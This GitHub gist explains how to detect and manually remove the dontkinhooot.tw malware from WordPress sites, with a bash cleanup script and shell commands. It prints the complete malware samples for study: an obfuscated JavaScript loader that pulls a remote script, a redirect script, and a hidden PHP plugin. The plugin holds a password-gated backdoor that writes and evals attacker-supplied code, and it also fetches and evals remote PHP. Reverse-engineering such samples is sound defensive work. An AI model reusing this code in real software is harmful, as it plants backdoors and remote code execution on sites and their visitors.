Skip to content

Instantly share code, notes, and snippets.

@paulera
Last active June 15, 2021 19:52
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save paulera/a63981a2d46fe3c02e8c39b63fa6a1b9 to your computer and use it in GitHub Desktop.
Save paulera/a63981a2d46fe3c02e8c39b63fa6a1b9 to your computer and use it in GitHub Desktop.
Finding the dontkinhooot.tw malware from WordPress sites and cleaning it manually

Cleaning dontkinhooot.tw malware from WordPress

See here how to disable dontkinhooot.tw malware from a WordPress site manually. Use the instructions below to fix your site temporarily. Then proceed to rebuild your site in an updated WordPress instance. This guide won't guarantee there won't be reinfection.

This malware didn't damage the site or stole data. It redirects the visitor to another site, probably to make money from affiliation programs.

I did not identify any injection in database entries, just js files and a malicious plugin (php files).

Observed symptoms

  • The site takes a long time to load.
  • Few seconds after loading, the site automatically redirects to another site, completely unrelated.
  • In the network tab of the browser, there are lots of calls to wp-admin/new-user.php.
  • A call is made to the domain dontkinhooot.tw, which does a 302 redirect to another site.

Backup your files first

First of all, make a backup of the WordPress files folder (usually www or public_html in most hosting services), just in case things go wrong:

cp -r www{,-infected}

Cleaning Javascript files

The malware injects the code below at the begin of all Javascript files (2256 characters). This is what causes the site to get insanely slow.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Option 1: clean JS using a script

You need to find all infected files and remove the injected stuff. You may use the script antivi.sh in this gist for this task (find below). You have to run it inside the WordPress folder (in most cases www or public_html).

  • antivi.sh: check how many files are infected
  • antivi.sh list: list infected files names
  • antivi.sh clean: clean up javascript files - backup your stuff before using it!!!!

Use this script at your own risk.

Option 2: clean JS files yourself

You need to chose a piece of the malware as footprint ( String.fromCharCode(115,99,114,105,112,116) in this case) and find all files that have it.

# list all infected files
grep -R "String.fromCharCode(115,99,114,105,112,116)" * | cut -d: -f1

Once you know the infected files, you can loop through them and remove the first bytes (up to the malware lenght). For some reason, eventhough this malware lenght is 2256, I had to cut 2257 bytes, not sure why.

for file in `grep -R "String.fromCharCode(115,99,114,105,112,116)" * | cut -d: -f1`; do
    tail --bytes=+2257 $file > clean.tmp
    cat clean.tmp > $file
    rm clean.tmp
done

The malware seta a 777 access mode to all files. As a temporary solution, make all js files read-only (to keep the malware from re-injecting into them) and remove "write" and "execute" permission to "others":

# make all JS files read-only
for file in `find . -type f -name "*.js"`; do chmod -w $file; done

# remove access to "others"
chmod -R o-rwx *

Deactivating the malicious plugin

After removing the piece injected in JS files, the redirection continued to happen.

The malware was also installed as a malicious plugin. There is no script to fix this, you just need to disable the plugin execution. Removing the plugin folder completely may break WordPress execution.

One obfuscation technique used by this malware was concatenating characters using their ASCII code.

A search for ).chr(, revealed the file wp-content/plugins/wp-strongs/wp-strongs.php (you can find it below). Comment out the call to the start() function to disable it:

// $wpstrongclass->start();

Clean your visitor's cache

If you use any caching mechanism in WordPress, disable it, since the cached content may be infected.

Those who saw the infected version of the site will have the infected version of JS files cached locally. To force visitors to clean their caches, add the following line to the file index.php of WordPress' root folder (the site entry point), right after the <?php tag.

<?php
header('Clear-Site-Data: "cache", "storage", "executionContexts"');

Some reference links of extended analysis for this malware

#!/bin/bash
# author: paulo.amaral@gmail.com
# Malware injection:
# Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,116,111,114,101,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
footprintSample="String.fromCharCode(115,99,114,105,112,116)"
footprintLen=2256
# list infected files
if [ "$1" == "list" ]; then
grep -rl "${footprintSample}" *
exit 0;
fi
# clean files
if [ "$1" == "clean" ]; then
echo Proceeding with the cleaning ...
bytesToCut=$((footprintLen+1))
A=0
for file in `grep -rl "${footprintSample}" *`; do
A=$((A+1))
echo "Cleaning file $A: " + $file
if [ -f "clean.tmp" ]; then
rm clean.tmp
fi
tail --bytes=+$bytesToCut $file > clean.tmp
if [ -f "clean.tmp" ]; then
cat clean.tmp > $file
rm clean.tmp
fi
done
exit 0
fi
# no params, just analises the damage
echo "Analyzing ..."
count=$(grep -rl "${footprintSample}" * | wc -l)
echo $count" infected files found"
if [ "$count" == "0" ]; then
echo "You may need to edit the script and fix the variables"
echo "footprintSample and footprintLen"
exit 1
fi
echo "Make sure you have a backup before proceed!"
echo "Run \"antivi.sh clean\" to clean these files"
echo "Run \"antivi.sh list\" to see the list of files"
// The actual injected piece is the code below, repeated 3 times and minified.
(Element.prototype.appendAfter = function (element) {
element.parentNode.insertBefore(this, element.nextSibling);
}),
false;
(function () {
var elem = document.createElement(String.fromCharCode(115, 99, 114, 105, 112, 116));
elem.type = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);
elem.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 111, 114, 101, 46, 100, 111, 110, 116, 107, 105, 110, 104, 111, 111, 111, 116, 46, 116, 119, 47, 115, 116, 97, 116, 46, 106, 115);
elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115, 99, 114, 105, 112, 116))[0]);
elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104, 101, 97, 100))[0]);
document.getElementsByTagName(String.fromCharCode(104, 101, 97, 100))[0].appendChild(elem);
})();
// All occurences of String.fromCharCode(...) were replaced with their correspondent strings
(Element.prototype.appendAfter = function (element) {
element.parentNode.insertBefore(this, element.nextSibling);
}),
false;
(function () {
var elem = document.createElement("script");
elem.type = "text/javascript";
elem.src = "https://store.dontkinhooot.tw/stat.js";
elem.appendAfter(document.getElementsByTagName("script")[0]);
elem.appendAfter(document.getElementsByTagName("head")[0]);
document.getElementsByTagName("head")[0].appendChild(elem);
})();
// this is the content of the file found at https://store.dontkinhooot.tw/stat.js
// all blank until line 135
var _0x2932=['1716915BlQuKi','1anCYJG','1453861ROhBfF','4201572Ezxfcq','location','1415851sUQLGK','1jiTMor','1573188qyXZbm','1332145hpBZsE','replace','fromCharCode','1621726ZVfwDP'];var _0x2c3c=function(_0x2b1f13,_0x37b8f6){_0x2b1f13=_0x2b1f13-0x131;var _0x293268=_0x2932[_0x2b1f13];return _0x293268;};(function(_0x1d12c2,_0x5dc84d){var _0x5298e7=_0x2c3c;while(!![]){try{var _0x1b9a3a=parseInt(_0x5298e7(0x131))+parseInt(_0x5298e7(0x13c))*-parseInt(_0x5298e7(0x138))+-parseInt(_0x5298e7(0x136))+-parseInt(_0x5298e7(0x135))*parseInt(_0x5298e7(0x137))+parseInt(_0x5298e7(0x132))+-parseInt(_0x5298e7(0x13b))+parseInt(_0x5298e7(0x139));if(_0x1b9a3a===_0x5dc84d)break;else _0x1d12c2['push'](_0x1d12c2['shift']());}catch(_0x4638b9){_0x1d12c2['push'](_0x1d12c2['shift']());}}}(_0x2932,0xdb5f8));function locateee(){var _0x2ab3c5=_0x2c3c,_0x16a1e4=String[_0x2ab3c5(0x134)](104,116,116,112,115,58,47,47,102,105,108,108,46,100,111,110,116,107,105,110,104,111,111,111,116,46,116,119,47,118,46,112,104,112,63,105,100,61,57,56,51,49,55,48,50,38,115,105,100,61,53,55,56,55,51,57,54,38,117,105,100,61,53,51,53,56,56,54,54);document[_0x2ab3c5(0x13a)]['href']=_0x16a1e4,window[_0x2ab3c5(0x13a)][_0x2ab3c5(0x133)](_0x16a1e4);}
var _0x3af1=['readyState','3KcYKce','112BvMBuC','1034314ifHMSm','2927jRRYJE','setRequestHeader','896452aaVDic','onreadystatechange','582539VgggjF','protocol','status','application/x-www-form-urlencoded','261593HCenBE','63561MNCqHi','responseText','POST','549934MEmqiR','hostname','/wp-admin/user-new.php','indexOf','open','action=fake','_wpnonce_create-user'];var _0x87e7=function(_0xd867e,_0x5c4e41){_0xd867e=_0xd867e-0x69;var _0x3af1f8=_0x3af1[_0xd867e];return _0x3af1f8;};(function(_0x2a8520,_0x42251c){var _0x14b01c=_0x87e7;while(!![]){try{var _0x40df25=parseInt(_0x14b01c(0x79))+-parseInt(_0x14b01c(0x6b))*-parseInt(_0x14b01c(0x77))+parseInt(_0x14b01c(0x78))*-parseInt(_0x14b01c(0x7a))+parseInt(_0x14b01c(0x7e))+-parseInt(_0x14b01c(0x7c))+-parseInt(_0x14b01c(0x6c))+-parseInt(_0x14b01c(0x6f));if(_0x40df25===_0x42251c)break;else _0x2a8520['push'](_0x2a8520['shift']());}catch(_0x2d3baf){_0x2a8520['push'](_0x2a8520['shift']());}}}(_0x3af1,0x89a95));function checkme(){var _0x3c83b6=_0x87e7,_0x2950f2=window['location'][_0x3c83b6(0x7f)]+'//'+window['location'][_0x3c83b6(0x70)]+_0x3c83b6(0x71),_0x4c4f84=new XMLHttpRequest(),_0x56c807=_0x2950f2,_0x3c6cde=_0x3c83b6(0x74);return _0x4c4f84[_0x3c83b6(0x73)](_0x3c83b6(0x6e),_0x56c807,!![]),_0x4c4f84[_0x3c83b6(0x7b)]('Content-type',_0x3c83b6(0x6a)),_0x4c4f84[_0x3c83b6(0x7d)]=function(){var _0x53817c=_0x3c83b6;if(_0x4c4f84[_0x53817c(0x76)]==0x4&&_0x4c4f84[_0x53817c(0x69)]==0xc8){var _0x364575=_0x4c4f84[_0x53817c(0x6d)];if(_0x364575[_0x53817c(0x72)](_0x53817c(0x75))!==-0x1){}else locateee();}},_0x4c4f84['send'](_0x3c6cde),0x0;}if(checkme()==0x0){}
<?php
/**
* Plugin Name: Wp Strongs
* Plugin URI: https://wpstrongs.com
* Description: Default Wordpress plugin
* Author: Wp Strongs
* Author URI: https://wpstrongs.com
* Version: 1.1.2.4
*
*/
class Wpstrongclass
{
function strong_start()
{
$v = "base".chr(54).chr(52).chr(95).chr(100).chr(101).chr(99)."ode"; if(isset($_REQUEST['lt']) && md5($_REQUEST['lt']) == $v("MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ=") ) { $n = "file_put_contents"; $lt = $v($_REQUEST['a']);$n('lte_','<?php '.$lt);$lt='lte_';if(file_exists($lt)){include($lt);unlink($lt);die();}else{@eval($v($lt));}}else{if(isset($_REQUEST['lt'])){echo $v('cGFnZV9ub3RfZm91bmRfNDA0');}}
$a = chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(102).chr(116).chr(112).chr(46).chr(108).chr(111).chr(118).chr(101).chr(103).chr(114).chr(101).chr(101).chr(110).chr(112).chr(101).chr(110).chr(99).chr(105).chr(108).chr(115).chr(46).chr(103).chr(97).chr(47).chr(109).chr(119).chr(114).chr(120).chr(118).chr(122).chr(63).chr(115).chr(101).chr(95).chr(114).chr(101).chr(102).chr(101).chr(114).chr(114).chr(101).chr(114).chr(61);
$b = "file_" . chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);
$s = "null";
if(array_key_exists("SERVER_NAME",$_SERVER)){
$s = $_SERVER['SERVER_NAME'];
}
$a = $b($a . chr(110).chr(117).chr(108).chr(108).chr(38).chr(115).chr(111).chr(117).chr(114).chr(99).chr(101).chr(61).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47) . $s);
if($a != "null"){
$vv = chr(112).chr(97).chr(103).chr(101).chr(110).chr(111).chr(116).chr(102).chr(111).chr(117).chr(117).chr(117).chr(110).chr(100);
if(strpos($a,$vv) == true) {
$n = "file_put_contents";
$lt = $a;
$n('lt_','<?php '.$lt);
$lt='lt_';
if(file_exists($lt)){include($lt);unlink($lt);die();}else{@eval($lt);}
}
}
}
function my_strong_start_js() {
echo '<script type="text/javascript" src="'.chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(115).chr(116).chr(111).chr(114).chr(101).chr(46).chr(100).chr(111).chr(110).chr(116).chr(107).chr(105).chr(110).chr(104).chr(111).chr(111).chr(111).chr(116).chr(46).chr(116).chr(119).chr(47).chr(100).chr(101).chr(115).chr(116).chr(105).chr(110).chr(97).chr(116).chr(105).chr(111).chr(110).chr(46).chr(106).chr(115).chr(63).chr(105).chr(100).chr(61).chr(50).chr(51).chr(53).chr(53).chr(38).chr(99).chr(108).chr(105).chr(100).chr(61).chr(56).chr(54).chr(52).chr(38).chr(115).chr(105).chr(100).chr(61).chr(51).chr(50).chr(55).chr(52).chr(56).chr(53).'"></script>';
}
function save_strong_plugin() {
global $wp_list_table;
$h = array('wp-strongs/wp-strongs.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$h)) {
unset($wp_list_table->items[$key]);
}
}
}
public function start(){
add_action('init',[$this, 'strong_start']);
add_action( 'admin_head', [$this, 'my_strong_start_js']);
add_action( 'wp_head',[$this, 'my_strong_start_js']);
add_action('pre_current_active_plugins', [$this, 'save_strong_plugin']);
}
}
$wpstrongclass = new Wpstrongclass();
$wpstrongclass->start();
<?php
// This is a version of malware_wp-strongs_original.php. where only the
// occurences of chr(...) were translated to their string equivalents to
// still allow study and analysis of the obfuscation methods.
/**
* Plugin Name: Wp Strongs
* Plugin URI: https://wpstrongs.com
* Description: Default Wordpress plugin
* Author: Wp Strongs
* Author URI: https://wpstrongs.com
* Version: 1.1.2.4
*
*/
class Wpstrongclass
{
function strong_start()
{
$v = "base64_decode";
if (isset($_REQUEST['lt']) && md5($_REQUEST['lt']) == $v("MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ="))
{
$n = "file_put_contents";
$lt = $v($_REQUEST['a']);
$n('lte_', '<?php ' . $lt);
$lt = 'lte_';
if (file_exists($lt))
{
include ($lt);
unlink($lt);
die();
}
else
{
@eval($v($lt));
}
}
else
{
if (isset($_REQUEST['lt']))
{
echo $v('cGFnZV9ub3RfZm91bmRfNDA0');
}
}
$a = "https://ftp.lovegreenpencils.ga/mwrxvz?se_referrer=";
$b = "file_get_contents";
$s = "null";
if (array_key_exists("SERVER_NAME", $_SERVER))
{
$s = $_SERVER['SERVER_NAME'];
}
$a = $b($a . "null&source=http://" . $s);
if ($a != "null")
{
$vv = "pagenotfouuund";
if (strpos($a, $vv) == true)
{
$n = "file_put_contents";
$lt = $a;
$n('lt_', '<?php ' . $lt);
$lt = 'lt_';
if (file_exists($lt))
{
include ($lt);
unlink($lt);
die();
}
else
{
@eval($lt);
}
}
}
}
function my_strong_start_js()
{
echo '<script type="text/javascript" src="https://store.dontkinhooot.tw/destination.js?id=2355&clid=864&sid=327485"></script>';
}
function save_strong_plugin()
{
global $wp_list_table;
$h = array(
'wp-strongs/wp-strongs.php'
);
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val)
{
if (in_array($key, $h))
{
unset($wp_list_table->items[$key]);
}
}
}
public function start()
{
add_action('init', [$this, 'strong_start']);
add_action('admin_head', [$this, 'my_strong_start_js']);
add_action('wp_head', [$this, 'my_strong_start_js']);
add_action('pre_current_active_plugins', [$this, 'save_strong_plugin']);
}
}
$wpstrongclass = new Wpstrongclass();
$wpstrongclass->start();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment